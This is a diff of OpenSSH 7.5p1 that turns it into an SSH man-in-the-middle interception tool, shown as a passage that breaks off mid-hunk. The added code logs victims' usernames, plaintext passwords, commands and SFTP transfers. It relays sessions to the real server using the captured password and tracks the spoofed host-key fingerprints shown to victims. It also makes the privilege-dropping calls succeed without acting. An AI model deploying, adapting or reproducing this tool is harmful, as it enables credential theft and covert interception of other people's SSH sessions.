- --- openssh-7.5p1/monitor_wrap.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/monitor_wrap.h 2018-06-12 17:44:46.341760621 -0400
- @@ -28,6 +28,8 @@
- #ifndef _MM_WRAP_H_
- #define _MM_WRAP_H_
- +#include "lol.h"
- +
- extern int use_privsep;
- #define PRIVSEP(x) (use_privsep ? mm_##x : x)
- @@ -84,8 +86,11 @@
- int mm_newkeys_to_blob(int, u_char **, u_int *);
- void monitor_apply_keystate(struct monitor *);
- +void monitor_apply_lol(struct monitor *, Lol *);
- void mm_get_keystate(struct monitor *);
- +void mm_get_lol(struct monitor *);
- void mm_send_keystate(struct monitor*);
- +void mm_send_lol(struct monitor *, Lol *);
- /* bsdauth */
- int mm_bsdauth_query(void *, char **, char **, u_int *, char ***, u_int **);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-misc.c openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c
- --- openssh-7.5p1/openbsd-compat/bsd-misc.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/openbsd-compat/bsd-misc.c 2018-06-12 17:44:46.345760658 -0400
- @@ -80,6 +80,7 @@
- #if !defined(HAVE_SETEUID) && defined(HAVE_SETREUID)
- int seteuid(uid_t euid)
- {
- + return 0;
- return (setreuid(-1, euid));
- }
- #endif /* !defined(HAVE_SETEUID) && defined(HAVE_SETREUID) */
- @@ -87,6 +88,7 @@
- #if !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID)
- int setegid(uid_t egid)
- {
- + return 0;
- return(setresgid(-1, egid, -1));
- }
- #endif /* !defined(HAVE_SETEGID) && defined(HAVE_SETRESGID) */
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/openbsd-compat/bsd-setres_id.c openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c
- --- openssh-7.5p1/openbsd-compat/bsd-setres_id.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/openbsd-compat/bsd-setres_id.c 2018-06-12 17:44:46.345760658 -0400
- @@ -29,7 +29,7 @@
- setresgid(gid_t rgid, gid_t egid, gid_t sgid)
- {
- int ret = 0, saved_errno;
- -
- + return 0;
- if (rgid != sgid) {
- errno = ENOSYS;
- return -1;
- @@ -64,7 +64,7 @@
- setresuid(uid_t ruid, uid_t euid, uid_t suid)
- {
- int ret = 0, saved_errno;
- -
- + return 0;
- if (ruid != suid) {
- errno = ENOSYS;
- return -1;
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/session.c openssh-7.5p1-mitm/session.c
- --- openssh-7.5p1/session.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/session.c 2018-06-13 10:41:10.968170080 -0400
- @@ -40,6 +40,10 @@
- #ifdef HAVE_SYS_STAT_H
- # include <sys/stat.h>
- #endif
- +#include <netinet/in.h>
- +#include <resolv.h>
- +#include <sys/file.h>
- +#include <time.h>
- #include <sys/socket.h>
- #include <sys/un.h>
- #include <sys/wait.h>
- @@ -94,6 +98,7 @@
- #include "kex.h"
- #include "monitor_wrap.h"
- #include "sftp.h"
- +#include "digest.h"
- #if defined(KRB5) && defined(USE_AFS)
- #include <kafs.h>
- @@ -116,16 +121,17 @@
- void session_pty_cleanup(Session *);
- void session_proctitle(Session *);
- int session_setup_x11fwd(Session *);
- -int do_exec_pty(Session *, const char *);
- -int do_exec_no_pty(Session *, const char *);
- +int do_exec_pty(Session *, const char *, char *);
- +int do_exec_no_pty(Session *, const char *, char *);
- int do_exec(Session *, const char *);
- void do_login(Session *, const char *);
- #ifdef LOGIN_NEEDS_UTMPX
- static void do_pre_login(Session *s);
- #endif
- -void do_child(Session *, const char *);
- +void do_child(Session *, const char *, char *);
- void do_motd(void);
- int check_quietlogin(Session *, const char *);
- +double my_sleep(struct timespec *sleep_request);
- static void do_authenticated2(Authctxt *);
- @@ -140,6 +146,7 @@
- extern int startup_pipe;
- extern void destroy_sensitive_data(void);
- extern Buffer loginmsg;
- +extern Lol *lol;
- /* original command from peer. */
- const char *original_command = NULL;
- @@ -165,6 +172,14 @@
- static char *auth_sock_name = NULL;
- static char *auth_sock_dir = NULL;
- +/* This is the maximum number of times to attempt to open a log file for
- + * writing. */
- +#define MAX_LOG_OPEN_TRIES 1048576 /* 1M */
- +
- +char *create_password_and_fingerprint_socket(int *sock_fd);
- +void set_session_log(Session *s, unsigned int is_sftp, const char *command);
- +void write_password_and_read_fingerprints(char **password_and_fingerprint_socket_name, int sock_fd, struct ssh *ssh_active_state, Channel *c);
- +
- /* removes the agent forwarding socket */
- static void
- @@ -291,7 +306,7 @@
- * setting up file descriptors and such.
- */
- int
- -do_exec_no_pty(Session *s, const char *command)
- +do_exec_no_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
- {
- pid_t pid;
- @@ -343,6 +358,8 @@
- session_proctitle(s);
- + set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
- +
- /* Fork the child. */
- switch ((pid = fork())) {
- case -1:
- @@ -420,7 +437,7 @@
- #endif
- /* Do processing for the child (exec command etc). */
- - do_child(s, command);
- + do_child(s, command, password_and_fingerprint_socket_name);
- /* NOTREACHED */
- default:
- break;
- @@ -475,7 +492,7 @@
- * lastlog, and other such operations.
- */
- int
- -do_exec_pty(Session *s, const char *command)
- +do_exec_pty(Session *s, const char *command, char *password_and_fingerprint_socket_name)
- {
- int fdout, ptyfd, ttyfd, ptymaster;
- pid_t pid;
- @@ -507,6 +524,8 @@
- return -1;
- }
- + set_session_log(s, command || (s->is_subsystem == SUBSYSTEM_INT_SFTP), command);
- +
- /* Fork the child. */
- switch ((pid = fork())) {
- case -1:
- @@ -553,7 +572,7 @@
- * Do common processing for the child, such as execing
- * the command.
- */
- - do_child(s, command);
- + do_child(s, command, password_and_fingerprint_socket_name);
- /* NOTREACHED */
- default:
- break;
- @@ -619,6 +638,8 @@
- int ret;
- const char *forced = NULL, *tty = NULL;
- char session_type[1024];
- + int sock_fd = -1;
- + char *password_and_fingerprint_socket_name = NULL;
- if (options.adm_forced_command) {
- original_command = command;
- @@ -673,10 +694,19 @@
- PRIVSEP(audit_run_command(shell));
- }
- #endif
- +
- + /* Create a socket for the ssh client program to output its host key
- + * fingerprints back to us. */
- + password_and_fingerprint_socket_name = create_password_and_fingerprint_socket(&sock_fd);
- +
- if (s->ttyfd != -1)
- - ret = do_exec_pty(s, command);
- + ret = do_exec_pty(s, command, password_and_fingerprint_socket_name);
- else
- - ret = do_exec_no_pty(s, command);
- + ret = do_exec_no_pty(s, command, password_and_fingerprint_socket_name);
- +
- + /* Write the password and read the client's host key fingerprints into
- + * the Channel struct. */
- + write_password_and_read_fingerprints(&password_and_fingerprint_socket_name, sock_fd, active_state, channel_by_id(s->chanid));
- original_command = NULL;
- @@ -1341,10 +1371,10 @@
- #else
- if (setlogin(pw->pw_name) < 0)
- error("setlogin failed: %s", strerror(errno));
- - if (setgid(pw->pw_gid) < 0) {
- + /*if (setgid(pw->pw_gid) < 0) {
- perror("setgid");
- exit(1);
- - }
- + }*/
- /* Initialize the group list. */
- if (initgroups(pw->pw_name, pw->pw_gid) < 0) {
- perror("initgroups");
- @@ -1416,6 +1446,8 @@
- #ifdef WITH_SELINUX
- setexeccon(NULL);
- #endif
- + logit("MITM: refusing to execute passwd.");
- + exit(1);
- #ifdef PASSWD_NEEDS_USERNAME
- execl(_PATH_PASSWD_PROG, "passwd", s->pw->pw_name,
- (char *)NULL);
- @@ -1473,9 +1505,9 @@
- * environment, closing extra file descriptors, setting the user and group
- * ids, and executing the command or shell.
- */
- -#define ARGV_MAX 10
- +#define ARGV_MAX 16
- void
- -do_child(Session *s, const char *command)
- +do_child(Session *s, const char *command, char *password_and_fingerprint_socket_name)
- {
- extern char **environ;
- char **env;
- @@ -1553,6 +1585,7 @@
- * ssh_remote_ipaddr there.
- */
- child_close_fds();
- + s->session_log_fd = -1;
- /*
- * Must take new environment into use so that .ssh/rc,
- @@ -1612,11 +1645,22 @@
- printf("This service allows sftp connections only.\n");
- fflush(NULL);
- exit(1);
- - } else if (s->is_subsystem == SUBSYSTEM_INT_SFTP) {
- + } else if ((s->is_subsystem == SUBSYSTEM_INT_SFTP) ||
- + ((command != NULL) && (memmem(command, strlen(command), "sftp-server", 11) != NULL))) {
- extern int optind, optreset;
- int i;
- char *p, *args;
- + /* Hard-code the SFTP server path to our version. */
- + if (command != NULL) {
- + command = _PATH_SFTP_SERVER;
- +
- + /* If DEBUG3 is enabled in sshd, spawn sftp-server with it
- + * as well. */
- + if (options.log_level == SYSLOG_LEVEL_DEBUG3)
- + command = _PATH_SFTP_SERVER " -f AUTH -l DEBUG3";
- + }
- +
- setproctitle("%s@%s", s->pw->pw_name, INTERNAL_SFTP_NAME);
- args = xstrdup(command ? command : "sftp-server");
- for (i = 0, (p = strtok(args, " ")); p; (p = strtok(NULL, " ")))
- @@ -1628,7 +1672,14 @@
- #ifdef WITH_SELINUX
- ssh_selinux_change_context("sftpd_t");
- #endif
- - exit(sftp_server_main(i, argv, s->pw));
- + debug3("MITM: SFTP server PID: %u", getpid());
- + exit(sftp_server_main(i, argv, s->pw,
- +#ifdef DEBUG_HOST
- + DEBUG_HOST, DEBUG_PORT,
- +#else
- + lol->original_host, lol->original_port,
- +#endif
- + lol->username, password_and_fingerprint_socket_name, s->session_log_filepath, s->session_log_dir));
- }
- fflush(NULL);
- @@ -1644,8 +1695,13 @@
- * name to be passed in argv[0] is preceded by '-' to indicate that
- * this is a login shell.
- */
- - if (!command) {
- + if (1) {
- char argv0[256];
- + char connect_string[512];
- + char port[16];
- +
- + memset(connect_string, 0, sizeof(connect_string));
- + memset(port, 0, sizeof(port));
- /* Start the shell. Set initial character to '-'. */
- argv0[0] = '-';
- @@ -1658,9 +1714,41 @@
- }
- /* Execute the shell. */
- - argv[0] = argv0;
- + /*argv[0] = argv0;
- argv[1] = NULL;
- - execve(shell, argv, env);
- + execve(shell, argv, env);*/
- +
- +
- + snprintf(port, sizeof(port), "%hu", lol->original_port);
- +
- + strlcpy(connect_string, lol->username, sizeof(connect_string));
- + strlcat(connect_string, "@", sizeof(connect_string));
- +
- + #ifdef DEBUG_HOST
- + strlcat(connect_string, DEBUG_HOST, sizeof(connect_string));
- + snprintf(port, sizeof(port), "%d", DEBUG_PORT);
- + #else
- + strlcat(connect_string, lol->original_host, sizeof(connect_string));
- + #endif
- +
- + debug3("MITMing connection to %s:%s", connect_string, port);
- +
- + argv[0] = MITM_SSH_CLIENT;
- + argv[1] = "-E";
- + argv[2] = MITM_SSH_CLIENT_LOG;
- + argv[3] = "-F";
- + argv[4] = MITM_SSH_CLIENT_CONFIG;
- + argv[5] = "-Z";
- + argv[6] = password_and_fingerprint_socket_name;
- + argv[7] = "-p";
- + argv[8] = port;
- + argv[9] = connect_string;
- + if (command) {
- + argv[10] = (char *)command;
- + argv[11] = NULL;
- + } else
- + argv[10] = NULL;
- + execve(argv[0], argv, env);
- /* Executing the shell failed. */
- perror(shell);
- @@ -1674,8 +1762,11 @@
- argv[1] = "-c";
- argv[2] = (char *) command;
- argv[3] = NULL;
- - execve(shell, argv, env);
- + logit("MITM: attempt to execute command blocked: [%s -c %s]", shell0, command);
- + /*
- + execve(shell, argv, env);
- perror(shell);
- + */
- exit(1);
- }
- @@ -1927,6 +2018,11 @@
- debug2("subsystem request for %.100s by user %s", s->subsys,
- s->pw->pw_name);
- + if (strcmp(s->subsys, "sftp") != 0) {
- + logit("MITM: subsystem request for something other than sftp (%.100s). Rejecting...", s->subsys);
- + return 0;
- + }
- +
- for (i = 0; i < options.num_subsystems; i++) {
- if (strcmp(s->subsys, options.subsystem_name[i]) == 0) {
- prog = options.subsystem_command[i];
- @@ -1958,6 +2054,10 @@
- {
- int success;
- + /* Disable X11 requests. */
- + logit("MITM: rejecting X11 request.");
- + return 0;
- +
- if (s->auth_proto != NULL || s->auth_data != NULL) {
- error("session_x11_req: session %d: "
- "x11 forwarding already active", s->self);
- @@ -2022,6 +2122,10 @@
- char *name, *val;
- u_int name_len, val_len, i;
- + /* Disable env requests. */
- + logit("MITM: rejecting env request.");
- + return 0;
- +
- name = packet_get_cstring(&name_len);
- val = packet_get_cstring(&val_len);
- packet_check_eom();
- @@ -2056,6 +2160,11 @@
- {
- static int called = 0;
- packet_check_eom();
- +
- + /* Disable auth agent requests. */
- + logit("MITM: rejecting auth agent request.");
- + return 0;
- +
- if (no_agent_forwarding_flag || !options.allow_agent_forwarding) {
- debug("session_auth_agent_req: no_agent_forwarding_flag");
- return 0;
- @@ -2124,7 +2233,7 @@
- channel_set_fds(s->chanid,
- fdout, fdin, fderr,
- ignore_fderr ? CHAN_EXTENDED_IGNORE : CHAN_EXTENDED_READ,
- - 1, is_tty, CHAN_SES_WINDOW_DEFAULT);
- + 1, is_tty, CHAN_SES_WINDOW_DEFAULT, s->session_log_fd, s->is_sftp);
- }
- /*
- @@ -2320,6 +2429,15 @@
- }
- session_proctitle(s);
- session_unused(s->self);
- + free(s->session_log_dir); s->session_log_dir = NULL;
- + free(s->session_log_filepath); s->session_log_filepath = NULL;
- + if (s->session_log_fd > -1) {
- + if (s->is_sftp)
- + write(s->session_log_fd, "</pre></html>", 13);
- + fdatasync(s->session_log_fd);
- + close(s->session_log_fd);
- + s->session_log_fd = -1;
- + }
- }
- void
- @@ -2532,6 +2650,10 @@
- if (authctxt == NULL)
- return;
- + if (authctxt->original_user != NULL) {
- + free(authctxt->original_user); authctxt->original_user = NULL;
- + }
- +
- #ifdef USE_PAM
- if (options.use_pam) {
- sshpam_cleanup();
- @@ -2578,3 +2700,261 @@
- return remote;
- }
- +/* Returns a file handle for logging a shell/sftp session. Set "is_sftp" arg
- + * to 1 to make a log file for SFTP. */
- +void set_session_log(Session *s, unsigned int is_sftp, const char *command) {
- + char filename[ sizeof(MITM_ROOT) + 32 ] = MITM_ROOT "shell_session_0.txt";
- + int num_tries = 0;
- +
- + s->is_sftp = is_sftp;
- + if (s->is_sftp)
- + strlcpy(filename, MITM_ROOT "sftp_session_0.html", sizeof(filename));
- +
- + s->session_log_fd = -1;
- + while ((num_tries < MAX_LOG_OPEN_TRIES) && (s->session_log_fd < 0)) {
- + s->session_log_fd = open(filename, O_CREAT | O_EXCL | O_NOATIME | O_NOFOLLOW | O_WRONLY
- +#ifdef SYNC_LOG
- + | O_SYNC
- +#endif
- + , S_IRUSR | S_IWUSR);
- +
- + num_tries++;
- +
- + /* If the file could not be created, increment the counter and append it
- + * to the filename prefix so we can try again. */
- + if (s->session_log_fd < 0) {
- + if (s->is_sftp)
- + snprintf(filename, sizeof(filename) - 1, MITM_ROOT "sftp_session_%d.html", num_tries);
- + else
- + snprintf(filename, sizeof(filename) - 1, MITM_ROOT "shell_session_%d.txt", num_tries);
- + }
- + }
- +
- + if (s->session_log_fd < 0)
- + logit("MITM: Could not open file for logging!");
- + else {
- + struct ssh *ssh = active_state;
- + time_t t = time(NULL);
- + struct tm stm;
- + int original_port = lol->original_port;
- + char srcport[16];
- + char dstport[16];
- + char buf[128];
- +
- + memset(&stm, 0, sizeof(struct tm));
- + memset(srcport, 0, sizeof(srcport));
- + memset(dstport, 0, sizeof(dstport));
- + memset(buf, 0, sizeof(buf));
- +
- +
- + s->session_log_filepath = xstrdup(filename);
- +
- + /* Create a unique directory for SFTP sessions. This is where uploaded and
- + * downloaded files will go. */
- + if (s->is_sftp) {
- + filename[strlen(filename) - 5] = '/';
- + filename[strlen(filename) - 4] = '\0';
- + if (mkdir(filename, S_IRWXU) == 0)
- + s->session_log_dir = xstrdup(filename);
- +
- + write(s->session_log_fd, "<html><pre>", 11);
- + }
- +
- + snprintf(srcport, sizeof(srcport), "%d", ssh_remote_port(ssh));
- + snprintf(dstport, sizeof(dstport), "%d", original_port);
- + if (gmtime_r(&t, &stm) != NULL)
- + strftime(buf, sizeof(buf), "%F %T %Z", &stm);
- +
- + /* Write the timestamp. */
- + write(s->session_log_fd, "Time: ", 6);
- + write(s->session_log_fd, buf, strlen(buf));
- +
- + /* Write the hostname and destination port. */
- + write(s->session_log_fd, "\nServer: ", 9);
- + write(s->session_log_fd, lol->original_host, strlen(lol->original_host));
- + write(s->session_log_fd, ":", 1);
- + write(s->session_log_fd, dstport, strlen(dstport));
- +
- + /* Write the origin IP and source port. */
- + write(s->session_log_fd, "\nClient: ", 9);
- + write(s->session_log_fd, ssh_remote_ipaddr(ssh), strlen(ssh_remote_ipaddr(ssh)));
- + write(s->session_log_fd, ":", 1);
- + write(s->session_log_fd, srcport, strlen(srcport));
- +
- + /* Write the username. */
- + write(s->session_log_fd, "\nUsername: ", 11);
- + write(s->session_log_fd, lol->username, strlen(lol->username));
- +
- + /* Write the password. */
- + write(s->session_log_fd, "\nPassword: ", 11);
- + write(s->session_log_fd, lol->password, strlen(lol->password));
- +
- + /* Write the command, if there was one. */
- + if (command != NULL) {
- + write(s->session_log_fd, "\nCommand: ", 10);
- + write(s->session_log_fd, command, strlen(command));
- + }
- + write(s->session_log_fd, "\n-------------------------\n", 27);
- + }
- +}
- +
- +/* Requests to sleep a certain amount of time (must be less than 1 second).
- + * Returns the number of seconds actually slept. */
- +/*
- +double my_sleep(struct timespec *sleep_request) {
- + struct timespec sleep_remaining;
- +
- + * If we slept the entire duration without being interrupted... *
- + if (nanosleep(sleep_request, &sleep_remaining) == 0)
- + return (double)(sleep_request->tv_nsec / 1000000000.0);
- + else
- + return (double)((sleep_request->tv_nsec - sleep_remaining.tv_nsec) / 1000000000.0);
- +}
- +*/
- +
- +/* Creates a unique socket and listens on it. Returns its filename and sets
- + * the "sock_fd" argument to the socket handle. The caller must free() the
- + * return value. */
- +char *create_password_and_fingerprint_socket(int *sock_fd) {
- + char *password_and_fingerprint_socket_name = NULL;
- + struct sockaddr_un addr;
- + char socket_prefix[] = MITM_ROOT "/tmp/socket_";
- + int counter = 0;
- + int password_and_fingerprint_socket_name_len = sizeof(socket_prefix) + 5;
- +
- + /* Create a new socket. */
- + memset(&addr, 0, sizeof(addr));
- + addr.sun_family = AF_UNIX;
- + *sock_fd = socket(AF_UNIX, SOCK_STREAM, 0);
- + if (*sock_fd == -1) {
- + logit("MITM: Error: could not create socket for fingerprint data!");
- + return "";
- + }
- +
- + /* Allocate a return buffer to hold the socket filename. */
- + if ((password_and_fingerprint_socket_name = calloc(password_and_fingerprint_socket_name_len, sizeof(char))) == NULL) {
- + *sock_fd = -1;
- + return strdup("");
- + }
- +
- + /* Make a new, unique socket file path. */
- + while (counter < 1024) {
- + snprintf(password_and_fingerprint_socket_name, password_and_fingerprint_socket_name_len, "%s%d", socket_prefix, counter);
- + strlcpy(addr.sun_path, password_and_fingerprint_socket_name , sizeof(addr.sun_path));
- + if (bind(*sock_fd, (struct sockaddr *)&addr, sizeof(addr)) == 0)
- + break;
- +
- + counter++;
- + }
- +
- + /* Listen on the socket handle. */
- + if (listen(*sock_fd, 1) == -1) {
- + logit("MITM: Error while listening on socket for fingerprint data!");
- + close(*sock_fd);
- + *sock_fd = -1;
- + free(password_and_fingerprint_socket_name); password_and_fingerprint_socket_name = NULL;
- + return strdup("");
- + }
- +
- + return password_and_fingerprint_socket_name;
- +}
- +
- +/* Writes the password, then reads the host key fingerprints from the client
- + * program, sets the appropriate "legit_*_fingerprint" global variables,
- + * deletes the socket, and frees the socket name. */
- +void write_password_and_read_fingerprints(char **password_and_fingerprint_socket_name, int sock_fd, struct ssh *ssh_active_state, Channel *c) {
- + int client_fd = -1, written = 0, r = 0;
- + u_int16_t password_len = htons((u_int16_t)strlen(lol->password));
- + char *buffer = NULL;
- +
- + /* Wait for the client to connect, then accept it. */
- + client_fd = accept(sock_fd, NULL, NULL);
- +
- + /* Send the password length. */
- + if (send(client_fd, &password_len, sizeof(password_len), 0) < 0)
- + fatal("MITM: Error while sending password length: %d", errno);
- +
- + /* Write the password. */
- + while (written < password_len) {
- + r = send(client_fd, lol->password + written, password_len - written, 0);
- + if ((r < 0) && (r != EINTR))
- + fatal("MITM: Error while sending password: %d", errno);
- + else if (r > 0)
- + written += r;
- + }
- +
- + buffer = calloc(SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE, sizeof(char));
- + if ((buffer != NULL) && (c != NULL)) {
- + int r, bytes_read = 0;
- + char *saved_buffer = buffer; /* We use strsep(), so save this pointer. */
- + char *line = NULL;
- + int line_len = 0;
- + struct sshkey *k = NULL;
- + char *fp = NULL;
- +
- + /* Read everything into buffer. */
- + while (1) {
- + r = read(client_fd, buffer + bytes_read, SOCKET_PASSWORD_AND_FINGERPRINT_BUFFER_SIZE - bytes_read);
- + if (r <= 0)
- + break;
- + bytes_read += r;
- + }
- +
- + /* Tokenize the buffer by the newline character. */
- + while ((line = strsep(&buffer, "\n")) != NULL) {
- + line_len = strlen(line);
- + if (line_len > 4) {
- +
- + /* We should only get one MD5 and one SHA256 fingerprint. If we get
- + * more, log it. */
- + if ((c->legit_md5_fingerprint_len > 0) && (c->legit_sha256_fingerprint_len > 0))
- + logit("MITM: !! Somehow, both the MD5 and SHA256 fingerprints were already set, but we got another fingerprint line anyway!! Please contact the project maintainer about this! [%s]", line);
- +
- + /* If this line begins with "MD5:", its an MD5 fingerprint. Copy it
- + * into the "legit_md5_fingerprint" buffer. */
- + if (memcmp(line, "MD5:", 4) == 0) {
- + c->legit_md5_fingerprint = strdup(line + 4);
- + c->legit_md5_fingerprint_len = strlen(c->legit_md5_fingerprint);
- + /* If this is a SHA256 fingerprint, copy this as well. */
- + } else if (memcmp(line, "SHA256:", 7) == 0) {
- + c->legit_sha256_fingerprint = strdup(line + 7);
- + c->legit_sha256_fingerprint_len = strlen(c->legit_sha256_fingerprint);
- + } else
- + logit("MITM: unknown fingerprint!: [%s]", line);
- + }
- + }
- +
- + c->extra_fp_bytes = calloc(EXTRA_FP_BYTES_SIZE, sizeof(char));
- + k = ssh_active_state->kex->load_host_public_key(active_state->kex->hostkey_type, ssh_active_state->kex->hostkey_nid, ssh_active_state);
- +
- + /* Set the host key fingerprints our sshd is using with the victim. */
- + if (c->legit_md5_fingerprint_len > 0) {
- + fp = sshkey_fingerprint(k, SSH_DIGEST_MD5, SSH_FP_DEFAULT);
- + c->our_md5_fingerprint = strdup(fp + 4); // Cut off the "MD5:" prefix.
- + c->our_md5_fingerprint_len = strlen(c->our_md5_fingerprint);
- + free(fp); fp = NULL;
- +
- + debug("MITM: MD5 fingerprint received from legit server: [%s]", c->legit_md5_fingerprint);
- + debug("MITM: MD5 fingerprint seen by victim: [%s]", c->our_md5_fingerprint);
- + }
- +
- + if (c->legit_sha256_fingerprint_len > 0) {
- + fp = sshkey_fingerprint(k, SSH_DIGEST_SHA256, SSH_FP_DEFAULT);
- + c->our_sha256_fingerprint = strdup(fp + 7); // Cut off the "SHA256:" prefix.
- + c->our_sha256_fingerprint_len = strlen(c->our_sha256_fingerprint);
- + free(fp); fp = NULL;
- + debug("MITM: SHA256 fingerprint received from legit server: [%s]", c->legit_sha256_fingerprint);
- + debug("MITM: SHA256 fingerprint seen by victim: [%s]", c->our_sha256_fingerprint);
- + }
- +
- + /* Free the buffer we read data from the socket into. */
- + free(saved_buffer); saved_buffer = NULL; buffer = NULL;
- + }
- +
- + /* We are done with this socket, so shut it down, delete the file, and
- + * free the filename. */
- + shutdown(client_fd, SHUT_RDWR);
- + close(sock_fd);
- + unlink(*password_and_fingerprint_socket_name);
- + free(*password_and_fingerprint_socket_name); *password_and_fingerprint_socket_name = NULL;
- +}
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/session.h openssh-7.5p1-mitm/session.h
- --- openssh-7.5p1/session.h 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/session.h 2018-06-12 17:44:46.345760658 -0400
- @@ -60,6 +60,10 @@
- char *name;
- char *val;
- } *env;
- + int is_sftp; /* Set to 1 if this is an SFTP session. */
- + char *session_log_dir; /* The directory to store SFTP files in. */
- + char *session_log_filepath; /* The file path of the session log. */
- + int session_log_fd; /* A descriptor to this session's log file. */
- };
- void do_authenticated(Authctxt *);
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp.c openssh-7.5p1-mitm/sftp.c
- --- openssh-7.5p1/sftp.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp.c 2018-06-12 17:44:46.345760658 -0400
- @@ -579,9 +579,10 @@
- remote_is_dir(struct sftp_conn *conn, const char *path)
- {
- Attrib *a;
- + u_int status;
- /* XXX: report errors? */
- - if ((a = do_stat(conn, path, 1)) == NULL)
- + if ((a = do_stat(conn, path, 1, &status)) == NULL)
- return(0);
- if (!(a->flags & SSH2_FILEXFER_ATTR_PERMISSIONS))
- return(0);
- @@ -1431,6 +1432,7 @@
- char path_buf[PATH_MAX];
- int err = 0;
- glob_t g;
- + u_int status;
- path1 = path2 = NULL;
- cmdnum = parse_args(&cmd, &ignore_errors, &aflag, &fflag, &hflag,
- @@ -1500,11 +1502,12 @@
- break;
- case I_CHDIR:
- path1 = make_absolute(path1, *pwd);
- - if ((tmp = do_realpath(conn, path1)) == NULL) {
- + if ((tmp = do_realpath(conn, path1, &status)) == NULL) {
- err = 1;
- break;
- }
- - if ((aa = do_stat(conn, tmp, 0)) == NULL) {
- + u_int status;
- + if ((aa = do_stat(conn, tmp, 0, &status)) == NULL) {
- free(tmp);
- err = 1;
- break;
- @@ -1593,7 +1596,8 @@
- path1 = make_absolute(path1, *pwd);
- remote_glob(conn, path1, GLOB_NOCHECK, NULL, &g);
- for (i = 0; g.gl_pathv[i] && !interrupted; i++) {
- - if (!(aa = do_stat(conn, g.gl_pathv[i], 0))) {
- + u_int status;
- + if (!(aa = do_stat(conn, g.gl_pathv[i], 0, &status))) {
- if (err_abort) {
- err = -1;
- break;
- @@ -2041,6 +2045,7 @@
- char cmd[2048];
- int err, interactive;
- EditLine *el = NULL;
- + u_int status;
- #ifdef USE_LIBEDIT
- History *hl = NULL;
- HistEvent hev;
- @@ -2078,7 +2083,7 @@
- }
- #endif /* USE_LIBEDIT */
- - remote_path = do_realpath(conn, ".");
- + remote_path = do_realpath(conn, ".", &status);
- if (remote_path == NULL)
- fatal("Need cwd");
- diff -ru --new-file -x '*~' -x 'config.*' -x Makefile -x opensshd.init -x survey.sh -x openssh.xml -x buildpkg.sh -x output.0 -x requests -x traces.0 -x configure openssh-7.5p1/sftp-client.c openssh-7.5p1-mitm/sftp-client.c
- --- openssh-7.5p1/sftp-client.c 2017-03-19 22:39:27.000000000 -0400
- +++ openssh-7.5p1-mitm/sftp-client.c 2018-06-12 17:44:46.345760658 -0400
- @@ -74,6 +74,7 @@
- # define SFTP_DIRECTORY_CHARS "/"
- #endif /* HAVE_CYGWIN */
- +/*
- struct sftp_conn {
- int fd_in;
- int fd_out;
- @@ -90,10 +91,13 @@
- u_int64_t limit_kbps;
- struct bwlimit bwlimit_in, bwlimit_out;
- };
- +*/
- +struct sftp_conn *client_conn = NULL;
- +
- static u_char *
- -get_handle(struct sftp_conn *conn, u_int expected_id, size_t *len,
- - const char *errfmt, ...) __attribute__((format(printf, 4, 5)));
- +get_handle(struct sftp_conn *conn, u_int expected_id, u_int *status, size_t *len,
- + const char *errfmt, ...) __attribute__((format(printf, 5, 6)));
- /* ARGSUSED */
- static int
- @@ -231,11 +235,11 @@
- }
- static u_char *
- -get_handle(struct sftp_conn *conn, u_int expected_id, size_t *len,
- +get_handle(struct sftp_conn *conn, u_int expected_id, u_int *status, size_t *len,
- const char *errfmt, ...)
- {
- struct sshbuf *msg;
- - u_int id, status;
- + u_int id;
- u_char type;
- u_char *handle;
- char errmsg[256];
- @@ -258,10 +262,10 @@
- fatal("%s: ID mismatch (%u != %u)",
- errfmt == NULL ? __func__ : errmsg, id, expected_id);
- if (type == SSH2_FXP_STATUS) {
- - if ((r = sshbuf_get_u32(msg, &status)) != 0)
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- if (errfmt != NULL)
- - error("%s: %s", errmsg, fx2txt(status));
- + error("%s: %s", errmsg, fx2txt(*status));
- sshbuf_free(msg);
- return(NULL);
- } else if (type != SSH2_FXP_HANDLE)
- @@ -276,7 +280,7 @@
- }
- static Attrib *
- -get_decode_stat(struct sftp_conn *conn, u_int expected_id, int quiet)
- +get_decode_stat(struct sftp_conn *conn, u_int expected_id, int quiet, u_int *status)
- {
- struct sshbuf *msg;
- u_int id;
- @@ -296,14 +300,13 @@
- if (id != expected_id)
- fatal("ID mismatch (%u != %u)", id, expected_id);
- if (type == SSH2_FXP_STATUS) {
- - u_int status;
- - if ((r = sshbuf_get_u32(msg, &status)) != 0)
- + if ((r = sshbuf_get_u32(msg, status)) != 0)
- fatal("%s: buffer error: %s", __func__, ssh_err(r));
- if (quiet)
- - debug("Couldn't stat remote file: %s", fx2txt(status));
- + debug("Couldn't stat remote file: %s", fx2txt(*status));
- else
- - error("Couldn't stat remote file: %s", fx2txt(status));
- + error("Couldn't stat remote file: %s", fx2txt(*status));
